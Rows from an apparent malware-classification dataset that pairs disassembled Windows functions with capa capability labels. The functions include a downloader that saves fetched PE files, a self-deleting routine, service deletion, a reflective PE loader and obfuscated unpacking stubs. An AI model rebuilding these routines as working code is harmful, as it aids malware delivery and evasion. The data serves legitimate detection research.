joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005cb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
xor eax, eax
mov ebx, 1
push str.wininet.dll
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x10005d11
test esi, esi
je 0x10005d08
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
push 0
push closesocket
push 0
push 0
push ecx
push edx
call eax
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10005cfd
mov eax, dword [ebp + 0xc]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x10005dd7
lea ebx, [ebx]
push 0x400
lea ecx, [ebp - 0x418]
push 0
push ecx
call fcn.100082d0
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea edx, [ebp - 8]
push edx
mov edx, dword [ebp - 0xc]
push 0x400
lea ecx, [ebp - 0x418]
push ecx
push edx
call eax
test ebx, ebx
je 0x10005da6
mov eax, 0x5a4d
cmp word [ebp - 0x418], ax
jne 0x10005dc9
mov edx, dword [ebp - 8]
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0x14]
push edx
lea eax, [ebp - 0x418]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
ja 0x10005d60
jmp 0x10005dcd
mov byte [ebp - 1], 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
mov eax, dword [ebp - 0xc]
push eax
call edi
mov ecx, dword [ebp - 0x10]
push ecx
call edi
test esi, esi
je 0x10005e00
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006100
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x158]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10006266
push 0x104
lea ecx, [ebp - 0x158]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x10006266
push 0x104
lea eax, [ebp - 0x360]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10006266
push str.__c_del
lea ecx, [ebp - 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x158]
push edx
lea eax, [ebp - 0x25c]
push eax
call esi
push str.___nul
lea ecx, [ebp - 0x25c]
push ecx
call esi
lea edx, [ebp - 0x25c]
push edx
lea eax, [ebp - 0x360]
push eax
call esi
push 0x40
lea ecx, [ebp - 0x50]
push 0
push ecx
call fcn.100082d0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor eax, eax
add esp, 0xc
xor edx, edx
push pe_nt_image_headers32
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], dx
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 0
push 0
push 0xc
push 0
push 0
push 0
lea edx, [ebp - 0x360]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10006254
mov eax, dword [ebp - 0x10]
push 0x40
push eax
call esi
mov ecx, dword [ebp - 0xc]
push 0xfffffffffffffff1
push ecx
call edi
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push 0x20
call ebx
push eax
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006270
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete service
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Rswkui_weuouewe
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x114]
push edx
mov dword [ebp - 0x10], 0x6665445c
mov dword [ebp - 0xc], 0x746c7561
mov dword [ebp - 8], 0x79656b2e
mov byte [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10006100
push 0
call fcn.100085cd
int3
Function at 0x10006e40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10006e57
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
je 0x10006e6c
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 0x50]
mov eax, dword [ebx + 0x34]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x10006ea3
mov ecx, dword [ebx + 0x50]
push 4
push 0x2000
push ecx
push eax
call esi
mov edi, eax
test edi, edi
je 0x10006f5e
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov edx, dword [ebx + 0x50]
push 0x1000
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [ebx + 0x54]
push 4
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 8]
mov edx, dword [ebx + 0x54]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 4], eax
push edx
push ecx
push eax
call fcn.10007a80
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 4]
push esi
push ebx
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], edi
call fcn.10006980
mov eax, edi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x10006f27
push eax
mov eax, esi
call fcn.10006b00
add esp, 4
push esi
call fcn.10006b90
add esp, 4
test eax, eax
je 0x10006f55
push esi
call fcn.10006a30
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
add esp, 4
test eax, eax
je 0x10006f6e
add eax, edi
je 0x10006f55
push 0
push 1
push edi
call eax
test eax, eax
jne 0x10006f67
push esi
call fcn.10006db0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x10], 1
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006f80
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018b50
push 0x10009068
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x24], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x30], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x28], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x34], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x20], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x100163dc
push ebx
call esi
call eax
push eax
call dword [ebp - 0x30]
mov esi, eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x38]
push eax
push pe_nt_image_headers32
lea ecx, [ebp - 0x138]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x28]
test eax, eax
jne 0x1000703a
mov dword [ebp - 0x1c], 0
jmp 0x10007049
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x34]
test eax, eax
je 0x10007031
push esi
call dword [ebp - 0x20]
mov dword [ebp - 4], 0xffffffff
call fcn.1000706f
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007160
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push 0x100164c8
mov byte [ebp - 1], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x100164b4
push edi
call esi
push 0x1001649c
push edi
mov dword [ebp - 0xc], eax
call esi
push 0x10016484
push edi
mov dword [ebp - 0x14], eax
call esi
push str.kernel32.dll
mov dword [ebp - 0x10], eax
call ebx
push 0x100154c0
push eax
mov dword [ebp - 0x18], eax
call esi
lea ecx, [ebp - 8]
push ecx
push 0x28
call eax
push eax
call dword [ebp - 0xc]
test eax, eax
jne 0x100071cc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
neg edx
lea eax, [ebp - 0x24]
push eax
sbb edx, edx
push ecx
and edx, 2
push 0
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], edx
call dword [ebp - 0x10]
mov eax, dword [ebp - 8]
push 0
push 0
push 0x10
lea edx, [ebp - 0x28]
push edx
push 0
push eax
call dword [ebp - 0x14]
push 0x10015ef8
call ebx
push 0x10016474
push eax
call esi
call eax
test eax, eax
je 0x10007219
xor bl, bl
jmp 0x1000721c
mov bl, byte [ebp - 1]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10007233
push edi
call esi
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1000723d
push eax
call esi
pop edi
pop esi
movzx eax, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007310
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10007331
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x10007331
xor eax, eax
pop ebp
ret
mov eax, 1
pop ebp
ret
Function at 0x10007670
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018b80
push 0x10009068
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x20], 0
push 0x100164c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x34], edi
push str.RegCreateKeyExA
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x28], eax
push 0x10016550
push edi
call esi
mov dword [ebp - 0x24], eax
push str.RegDeleteKeyA
push edi
call esi
mov dword [ebp - 0x2c], eax
push str.RegDeleteValueA
push edi
call esi
mov dword [ebp - 0x30], eax
push 0x1001650c
push edi
call esi
mov ebx, eax
push 0x100164e0
push edi
call esi
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.0x10007766.3
jmp dword [eax*4 + 0x10007834]
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x28]
test eax, eax
jne case.0x10007766.3
lea ecx, [ebp - 0x1c]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call ebx
test eax, eax
jne case.0x10007766.3
mov esi, dword [ebp + 0x14]
lea eax, [esi - 1]
cmp eax, 6
ja case.0x10007766.3
movzx ecx, byte [eax + 0x10007850]
jmp dword [ecx*4 + 0x10007844]
mov ebx, dword [ebp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
push esi
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [ebp - 0x24]
jmp 0x100077ea
push 4
lea ecx, [ebp + 0x1c]
push ecx
push esi
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [ebp - 0x24]
jmp 0x100077ea
lea ecx, [ebp - 0x1c]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call ebx
test eax, eax
jne case.0x10007766.3
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [ebp - 0x2c]
jmp 0x100077ea
lea eax, [ebp - 0x1c]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call ebx
test eax, eax
jne case.0x10007766.3
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [ebp - 0x30]
test eax, eax
jne case.0x10007766.3
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xffffffff
call fcn.10007823
test edi, edi
je 0x1000780c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100078a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
push esi
push 0
push 0
push 0
push 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp + 0x1c]
push edx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push 0x10007860
push edx
push eax
call fcn.100093ab
mov ecx, dword [ebp - 4]
add esp, 0x18
push 0xffffffffffffffff
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10008d61
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x10008d88
call fcn.1000bed6
mov dword [eax], esi
call fcn.1000bec3
push 0x16
pop esi
mov dword [eax], esi
call fcn.1000be71
mov eax, esi
jmp 0x10008ddd
test dword [ebp + 0xc], 0xfffffff9
jne 0x10008d6e
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10008db5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.1000bee9
pop ecx
call fcn.1000bec3
mov eax, dword [eax]
jmp 0x10008ddd
test al, 0x10
jne 0x10008ddb
test al, 1
je 0x10008ddb
test byte [ebp + 0xc], 2
je 0x10008ddb
call fcn.1000bed6
mov dword [eax], 5
call fcn.1000bec3
mov dword [eax], 0xd
jmp 0x10008dac
xor eax, eax
pop esi
pop ebp
ret

Function at 0x1000b0d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001bce0]
jne 0x1000b0da
repz ret
jmp fcn.1001007f
Function at 0x100101f3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001bce0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000b0df
and dword [ebp - 0x14], 0
cmp dword [0x1001e584], 0
mov dword [ebp - 0x18], eax
jne 0x100102a6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1001034e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1001034e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1001e584], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1001e588], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1001e58c], eax
call edi
push eax
call esi
mov dword [0x1001e594], eax
test eax, eax
je 0x100102a6
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1001e590], eax
mov eax, dword [0x1001e590]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x100102ff
cmp dword [0x1001e594], ecx
je 0x100102ff
push eax
call esi
push dword [0x1001e594]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x100102ff
test ebx, ebx
je 0x100102ff
call edi
test eax, eax
je 0x100102f6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100102f6
test byte [ebp - 8], 1
jne 0x100102ff
or dword [ebp + 0x10], 0x200000
jmp 0x10010332
mov eax, dword [0x1001e588]
cmp eax, dword [ebp - 0x18]
je 0x10010332
push eax
call esi
test eax, eax
je 0x10010332
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10010332
mov eax, dword [0x1001e58c]
cmp eax, dword [ebp - 0x18]
je 0x10010332
push eax
call esi
test eax, eax
je 0x10010332
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1001e584]
call esi
test eax, eax
je 0x1001034e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10010350
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b0d0
leave
ret
Function at 0x406106
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x406115
pop dword [ebp - 0x18]
mov eax, 0x406115
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x85d4abd
add dword [ebp - 0x28], 0x45f4fa8e
mov dword [ebp - 0x24], 0xa95adda9
sub dword [ebp - 0x24], 0x77279164
mov dword [ebp - 0x20], 0x259d262b
sub dword [ebp - 0x20], 0xd950e1fd
mov dword [ebp - 0x1c], 0xee69d62d
sub dword [ebp - 0x1c], 0xee69d62d
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x9979598f
sub dword [ebp - 0x28], 0x2506f039
mov dword [ebp - 0x24], 0x1615a327
sub dword [ebp - 0x24], 0xd4a941b2
mov dword [ebp - 0x20], 0xb7b0f2f2
sub dword [ebp - 0x20], 0x54418686
mov dword [ebp - 0x1c], 0x156ced05
sub dword [ebp - 0x1c], 0x156ced05
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xa946ead0
sub eax, 0xa90669d0
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x335eb
push 0
call eax
mov ecx, 0x1d8239b8
sub ecx, 0x1d820046
mov edi, eax
mov ebx, 0xd02bd63
sub ebx, 0xcbdb963
add ebx, dword [ebp - 0x18]
mov edx, 0x4943804a
add edx, 0x904f2c0f
xor dword [ebp - 4], edx
mov esi, dword [ebx]
sub dword [ebp - 0x10], edx
add esi, edx
mov dword [ebp - 0x14], 0x6e90b61a
mov dword [edi], esi
sub dword [ebp - 0x10], 0x8cdaebd5
add edi, 4
add ebx, 0x5f2b5c7a
sub ebx, 0x5f2b5c76
loop 0x40622d
add eax, 0x5eb69161
add eax, 0xa14a473a
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x40656f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4318ec], 0
push esi
jne 0x4065a6
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406580
mov dword [ecx*4 + 0x4318e8], eax
inc ecx
cmp ecx, 0x100
jl 0x40657b
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4065d7
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4318e8]
xor eax, esi
inc ecx
dec edx
jne 0x4065b9
pop edi
not eax
pop esi
ret 0xc
Function at 0x7002e77
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x701a85c]
jne 0x7002e81
repz ret
jmp fcn.0700f55f

Function at 0x70034f1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x7003500
pop dword [ebp - 0x1c]
mov eax, 0xcd0892c8
add eax, 0x39f7a238
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xc247b63
add dword [ebp - 0x2c], 0x422dc9e8
mov dword [ebp - 0x28], 0xedbf7b7f
sub dword [ebp - 0x28], 0xbb8c2f3a
mov dword [ebp - 0x24], 0xf0e1ae3d
sub dword [ebp - 0x24], 0xa4956a0f
mov dword [ebp - 0x20], 0xc5fc377a
add dword [ebp - 0x20], 0x3a03c886
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xc5d918b
add dword [ebp - 0x2c], 0x6814d7cb
mov dword [ebp - 0x28], 0xc8fec5b3
sub dword [ebp - 0x28], 0x8792643e
mov dword [ebp - 0x24], 0x5d43fa3a
sub dword [ebp - 0x24], 0xf9d48dce
mov dword [ebp - 0x20], 0x9c6bc7e7
add dword [ebp - 0x20], 0x63943819
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x378c8
push 0
call eax
mov ecx, 0xf823e554
sub ecx, 0xf823a98c
xor edx, edx
add edx, eax
mov ebx, 0x2cc92324
add ebx, 0xda38bcdc
add ebx, dword [ebp - 0x1c]
mov edi, 0xc4376dae
mov esi, dword [ebx]
sub dword [ebp - 0x10], 0xcb43944
sub esi, edi
xor dword [ebp - 0x14], eax
mov dword [edx], esi
add dword [ebp - 8], esi
add edx, 4
add ebx, 4
loop 0x7003614
add eax, 0x2cb9db2e
add eax, 0xd34706c5
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5c4c8a3e
add ecx, 0xaab375c2
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x700d408
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700d476
cmp byte [esi + 0x10], 0
je 0x700d427
push eax
call dword [sym.imp.MSVCR100.dll_fflush]
pop ecx
mov byte [esi + 0x10], 0
push edi
push dword [esi + 0xc]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_fread]
push dword [esi + 0xc]
mov edi, eax
call dword [sym.imp.MSVCR100.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700d464
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_feof]
pop ecx
test eax, eax
jne 0x700d464
push str.stream_read_error
push eax
call fcn.070034f1
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_ftell]
pop ecx
mov dword [esi + 8], eax
mov eax, edi
pop edi
jmp 0x700d478
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x100085d7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100085e6
pop dword [ebp - 0x10]
mov eax, 0x961f8047
add eax, 0x79e1059f
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3c97b
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x803f711d
add ecx, 0x7fc0e565
xor esi, esi
add esi, eax
mov edx, 0x1001c400
add edx, dword [ebp - 0x10]
mov edi, 0xcf8beb82
add edi, 0x2b80c4c8
mov ebx, dword [edx]
xor dword [ebp - 0xc], eax
sub ebx, edi
mov dword [esi], ebx
mov dword [ebp - 0xc], 0x98e0b9b6
add esi, 0x93596f78
add esi, 0x6ca6908c
add edx, 0xa2e1b57f
add edx, 0x5d1e4a85
loop 0x1000863c
add eax, 0x7a06a78f
add eax, 0x85faa54c
xor ebx, ebx
add ebx, eax
add eax, 0x8ef2b5dc
sub eax, 0x8ef2b5d7
mov ecx, 0x6bcc1593
add ecx, 0xa433ea6d
add ecx, dword [ebp - 0x10]
call ebx
leave
ret